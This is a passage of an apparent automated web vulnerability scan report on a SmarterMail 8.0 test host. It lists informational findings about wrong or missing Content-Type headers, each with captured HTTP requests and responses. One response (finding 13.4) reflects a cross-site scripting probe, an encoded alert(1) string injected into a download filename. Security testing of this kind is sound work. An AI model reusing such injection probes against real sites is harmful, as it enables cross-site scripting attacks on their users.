User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1333095316","TopBarSection":"UserTasks"}
Content-Length: 19762

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24SaveTextImageButton&__LASTFOCUS=&__EVENTTARGET=ctl00%24BPH%24SaveTextImageButton&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTA4NjI2NjczMw8WBh
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:45:00 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 59629

1|#||4|9|updatePanel|ctl00_UpdatePanel1|
           
       |26777|updatePanel|ctl00_MPH_UP0|
           <input type="hidden" name="ctl00$MPH$txtPassedMessageID" id="ctl00_MPH_txtPassedMessageID" />
           
<!-- HyperMul
...[SNIP]...

12.7. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmWelcome.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmWelcome.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /Main/frmWelcome.aspx?unframed=true HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmWelcome.aspx?unframed=true
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default
Content-Length: 6379

ctl00%24ctl01=ctl00%24BrPH%24UpdatePanel_Buttons%7Cctl00%24BrPH%24btnNext&__EVENTTARGET=ctl00%24BrPH%24btnNext&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJNjU3MDYxOTI3DxYGHghfX19UaXRsZQUaU21hcnRlck1haWwgQW
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:29:52 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 8591

1|#||4|96|updatePanel|ctl00_UpdatePanel1|

|391|updatePanel|ctl00_UpdatePanel2|

...[SNIP]...

12.8. http://vulnerable.smartermail.8.0.4086.25048.host:9998/UserControls/Popups/frmDeviceSync.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /UserControls/Popups/frmDeviceSync.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /UserControls/Popups/frmDeviceSync.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/UserControls/Popups/frmDeviceSync.aspx
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=
Content-Length: 17179

ctl00%24ScriptManager=ctl00%24ScriptManager%7Cctl00%24BPH%24chkShowAtLogin&__EVENTTARGET=ctl00%24BPH%24chkShowAtLogin&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKLTI1NzQzNDYzNA8WBB4QX19fUmVzdW
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:31:23 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 26699

1|#||4|9|updatePanel|ctl00_UpdatePanel1|
           
       |3742|updatePanel|ctl00_MPH_splitter1_paneMobileDescription_UpdatePanel1|
<div class='DeviceWrapper'><div class='DeviceNam
...[SNIP]...

13. Content type is not specified  previous
There are 6 instances of this issue:

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


13.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/Calendar/frmEvent.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/Calendar/frmEvent.aspx

Request

POST /Main/Calendar/frmEvent.aspx?popup=true HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/Calendar/frmEvent.aspx?popup=true
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1333095316"}
Content-Length: 25818

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24SaveTextImageButton&ctl00%24TPH%24TabStrip%24SelectedTab=ctl00_TPH_TabStrip_Tab1&ctl00%24MPH%24VisiblePage=ctl00_MPH_OptionsTab&ctl00%24MP
...[SNIP]...

Response

HTTP/1.1 100 Continue
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:44:35 GMT
Content-Length: 0

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:44:35 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain;
...[SNIP]...

13.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmCalendar.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmCalendar.aspx

Request

POST /Main/frmCalendar.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmCalendar.aspx
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1333095316"}
Content-Length: 14795

ctl00%24ScriptManager1=ctl00%24MPH%24ctl00%7Cctl00%24MPH%24lnkUpdate&__EVENTTARGET=ctl00%24MPH%24lnkUpdate&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTE0MTU5OTM3NQ8WCB4IX19fVGl0bGUFC015IENhbGVuZGFyHhBfX1
...[SNIP]...

Response

HTTP/1.1 100 Continue
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:44:41 GMT
Content-Length: 0

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:44:41 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain;
...[SNIP]...

13.3. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmContact.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmContact.aspx

Request

POST /Main/frmContact.aspx?popup=true HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmContact.aspx?popup=true
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=
Content-Length: 17022

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24btnSave&__LASTFOCUS=&__EVENTTARGET=ctl00%24BPH%24btnSave&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJODY5NTM0MTk5DxYGHghfX19UaXRsZQULTXkgQ29udG
...[SNIP]...

Response

HTTP/1.1 100 Continue
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:38:21 GMT
Content-Length: 0

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:38:21 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain;
...[SNIP]...

13.4. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmContactView.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmContactView.aspx

Request

POST /Main/frmContactView.aspx?guid=7C6B4A0E-844B-4DDF-B1B6-3AA09172E73B&user=xss&mapped=false HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmContactView.aspx?guid=7C6B4A0E-844B-4DDF-B1B6-3AA09172E73B&user=xss&mapped=false
Cache-Control: max-age=0
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1193559579","TopBarSection":"UserContacts"}
Content-Length: 8756

__EVENTTARGET=ctl00%24BPH%24btnDownloadVCard&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE0NDAxMTcwODMPFgYeCF9fX1RpdGxlBSgyMTlhNCUyNyUyZGFsZXJ0JTI4MSUyOSUyZCUyNzVmN2Q1NGUzY2E4HhBfX19SZXN1bHRGYWlsdXJlZR4Q
...[SNIP]...

Response

HTTP/1.1 100 Continue
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:48:10 GMT
Content-Length: 0

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:48:10 GMT
X-AspNet-Version: 4.0.30319
content-disposition: attachment; filename="219a4%27%2dalert%281%29%2d%275f7d54e3
...[SNIP]...

13.5. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmTask.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmTask.aspx

Request

POST /Main/frmTask.aspx?popup=true HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmTask.aspx?popup=true
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1333095316","TopBarSection":"UserTasks"}
Content-Length: 19762

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24SaveTextImageButton&__LASTFOCUS=&__EVENTTARGET=ctl00%24BPH%24SaveTextImageButton&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTA4NjI2NjczMw8WBh
...[SNIP]...

Response

HTTP/1.1 100 Continue
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:44:59 GMT
Content-Length: 0

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:45:00 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain;
...[SNIP]...

13.6. http://vulnerable.smartermail.8.0.4086.25048.host:9998/UserControls/Popups/frmDeviceSync.aspx  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /UserControls/Popups/frmDeviceSync.aspx

Request

POST /UserControls/Popups/frmDeviceSync.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/UserControls/Popups/frmDeviceSync.aspx
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=
Content-Length: 17179

ctl00%24ScriptManager=ctl00%24ScriptManager%7Cctl00%24BPH%24chkShowAtLogin&__EVENTTARGET=ctl00%24BPH%24chkShowAtLogin&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKLTI1NzQzNDYzNA8WBB4QX19fUmVzdW
...[SNIP]...

Response

HTTP/1.1 100 Continue
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:30:35 GMT
Content-Length: 0

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:30:35 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: no-cache
Pragma: no-cache
Expire
...[SNIP]...

Remedy References

External References


Report generated by xss.cx at Mon Mar 14 12:12:34 CDT 2011.